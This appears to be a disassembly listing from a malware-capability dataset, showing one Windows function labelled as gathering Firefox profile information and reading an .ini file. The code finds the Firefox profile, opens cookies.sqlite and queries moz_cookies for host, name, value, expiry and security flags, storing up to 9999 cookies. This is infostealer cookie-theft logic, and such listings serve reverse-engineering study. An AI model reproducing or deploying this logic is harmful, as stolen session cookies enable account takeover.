Function at 0x4182ab
Capabilities:
Gather firefox profile information
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov dword [ebp - 4], ecx
and dword [ebp - 0x14], 0
and dword [ebp - 0x10c], 0
push 0x1a
lea eax, [ebp - 0x10]
push eax
call fcn.0041e9f8
pop ecx
pop ecx
push 0x427278
lea ecx, [ebp - 0x10]
call fcn.00406c53
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406fbc
push 0x42729c
lea ecx, [ebp - 0x1c]
call fcn.00406c53
push 0x4272b8
lea ecx, [ebp - 0x18]
call fcn.00406f64
and dword [ebp - 0x4c], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x18]
call fcn.00406cda
push 0x208
push 0
lea eax, [ebp - 0x314]
push eax
call fcn.0040132f
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.00406f44
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x18]
call fcn.00406f44
mov dword [ebp - 0x54], eax
push dword [ebp - 0x50]
push 0x104
lea eax, [ebp - 0x314]
push eax
push 0
push 0x4272c8
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406fbc
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406c53
mov dword [ebp - 0x58], eax
push str.cookies.sqlite
mov ecx, dword [ebp - 0x58]
call fcn.00406c7e
lea eax, [ebp - 0xc]
push eax
call fcn.0041e9e4
pop ecx
test eax, eax
jne 0x4183c1
and dword [ebp - 0x5c], 0
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x10]
call fcn.00406be2
mov eax, dword [ebp - 0x5c]
jmp 0x4188c4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406e4b
mov ecx, eax
call fcn.00406b4a
push eax
call dword [ebp - 0x60]
pop ecx
pop ecx
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x64]
call fcn.00406b06
cmp dword [ebp - 0x14], 0
je 0x418429
and dword [ebp - 0x68], 0
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x10]
call fcn.00406be2
mov eax, dword [ebp - 0x68]
jmp 0x4188c4
and dword [ebp - 0x104], 0
and dword [ebp - 0x108], 0
mov dword [ebp - 0x6c], str.SELECT_host__path__name__value__expiry__isHttpOnly__isSecure_FROM_moz_cookies
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x70], eax
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x6c]
push dword [ebp - 0x34]
call dword [ebp - 0x70]
add esp, 0x14
test eax, eax
jne 0x418869
cmp dword [ebp - 0x14], 0
jne 0x418869
push 0x61a5c
call fcn.0040b8d1
pop ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4184ad
mov eax, dword [ebp - 0x28]
mov dword [eax], 0x270f
push fcn.00403d2f
push 0x270f
push 0x28
mov eax, dword [ebp - 0x28]
add eax, 4
push eax
call fcn.00401477
mov eax, dword [ebp - 0x28]
add eax, 4
mov dword [ebp - 0x38], eax
jmp 0x4184b1
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [0x42cca8], eax
and dword [0x42ccac], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x60]
mov dword [ebp - 0x74], eax
push dword [ebp - 8]
call dword [ebp - 0x74]
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x64
jne 0x418809
lea ecx, [ebp - 0x30]
call fcn.0040691e
lea ecx, [ebp - 0x2c]
call fcn.0040691e
lea ecx, [ebp - 0x24]
call fcn.0040691e
lea ecx, [ebp - 0x20]
call fcn.0040691e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x78], eax
push 0
push dword [ebp - 8]
call dword [ebp - 0x78]
pop ecx
pop ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x418540
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x7c]
call fcn.00406b58
push eax
lea ecx, [ebp - 0x30]
call fcn.00406830
lea ecx, [ebp - 0x7c]
call fcn.00406b06
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x80], eax
push 1
push dword [ebp - 8]
call dword [ebp - 0x80]
pop ecx
pop ecx
mov dword [ebp - 0x40], eax
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x40]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x418589
push dword [ebp - 0x40]
lea ecx, [ebp - 0x84]
call fcn.00406b58
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406830
lea ecx, [ebp - 0x84]
call fcn.00406b06
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x88], eax
push 2
push dword [ebp - 8]
call dword [ebp - 0x88]
pop ecx
pop ecx
mov dword [ebp - 0x44], eax
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x44]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x4185d8
push dword [ebp - 0x44]
lea ecx, [ebp - 0x8c]
call fcn.00406b58
push eax
lea ecx, [ebp - 0x24]
call fcn.00406830
lea ecx, [ebp - 0x8c]
call fcn.00406b06
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x90], eax
push 3
push dword [ebp - 8]
call dword [ebp - 0x90]
pop ecx
pop ecx
mov dword [ebp - 0x48], eax
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x418627
push dword [ebp - 0x48]
lea ecx, [ebp - 0x94]
call fcn.00406b58
push eax
lea ecx, [ebp - 0x20]
call fcn.00406830
lea ecx, [ebp - 0x94]
call fcn.00406b06
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x98], eax
push 4
push dword [ebp - 8]
call dword [ebp - 0x98]
pop ecx
pop ecx
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x9c], eax
push 5
push dword [ebp - 8]
call dword [ebp - 0x9c]
pop ecx
pop ecx
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xa0], eax
push 6
push dword [ebp - 8]
call dword [ebp - 0xa0]
pop ecx
pop ecx
mov dword [ebp - 0xb8], eax
lea ecx, [ebp - 0x24]
call fcn.00406747
test eax, eax
jg 0x4186a6
lea ecx, [ebp - 0x20]
call fcn.00406747
test eax, eax
jle 0x4187e4
lea ecx, [ebp - 0x100]
call fcn.00403d2f
lea ecx, [ebp - 0x30]
call fcn.00406747
test eax, eax
jle 0x4186e3
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x30]
call fcn.00406770
push eax
lea ecx, [ebp - 0x100]
call fcn.00406bfc
lea ecx, [ebp - 0xa4]
call fcn.00406be2
lea ecx, [ebp - 0x2c]
call fcn.00406747
test eax, eax
jle 0x418715
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406770
push eax
lea ecx, [ebp - 0xfc]
call fcn.00406bfc
lea ecx, [ebp - 0xa8]
call fcn.00406be2
lea ecx, [ebp - 0x24]
call fcn.00406747
test eax, eax
jle 0x418747
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406770
push eax
lea ecx, [ebp - 0xf8]
call fcn.00406bfc
lea ecx, [ebp - 0xac]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406747
test eax, eax
je 0x418779
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x20]
call fcn.00406770
push eax
lea ecx, [ebp - 0xf4]
call fcn.00406bfc
lea ecx, [ebp - 0xb0]
call fcn.00406be2
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xe0], eax
cmp dword [0x42ccac], 0x270f
je 0x4187d9
lea eax, [ebp - 0x100]
push eax
imul ecx, dword [0x42ccac], 0x28
add ecx, dword [0x42cca8]
call fcn.00403d64
mov eax, dword [0x42ccac]
inc eax
mov dword [0x42ccac], eax
lea ecx, [ebp - 0x100]
call fcn.00401889
lea ecx, [ebp - 0x20]
call fcn.00406b06
lea ecx, [ebp - 0x24]
call fcn.00406b06
lea ecx, [ebp - 0x2c]
call fcn.00406b06
lea ecx, [ebp - 0x30]
call fcn.00406b06
jmp 0x4184c0
cmp dword [ebp - 0x14], 0
je 0x418869
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 0xbc], eax
push dword [ebp - 8]
call dword [ebp - 0xbc]
pop ecx
mov eax, dword [0x42cebc]
mov dword [ebp - 0xc0], eax
push dword [ebp - 0x34]
call dword [ebp - 0xc0]
pop ecx
and dword [ebp - 0xc4], 0
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x10]
call fcn.00406be2
mov eax, dword [ebp - 0xc4]
jmp 0x4188c4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 0xc8], eax
push dword [ebp - 8]
call dword [ebp - 0xc8]
pop ecx
mov eax, dword [0x42cebc]
mov dword [ebp - 0xcc], eax
push dword [ebp - 0x34]
call dword [ebp - 0xcc]
pop ecx
mov dword [ebp - 0xd0], 1
lea ecx, [ebp - 0xc]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x10]
call fcn.00406be2
mov eax, dword [ebp - 0xd0]
leave
ret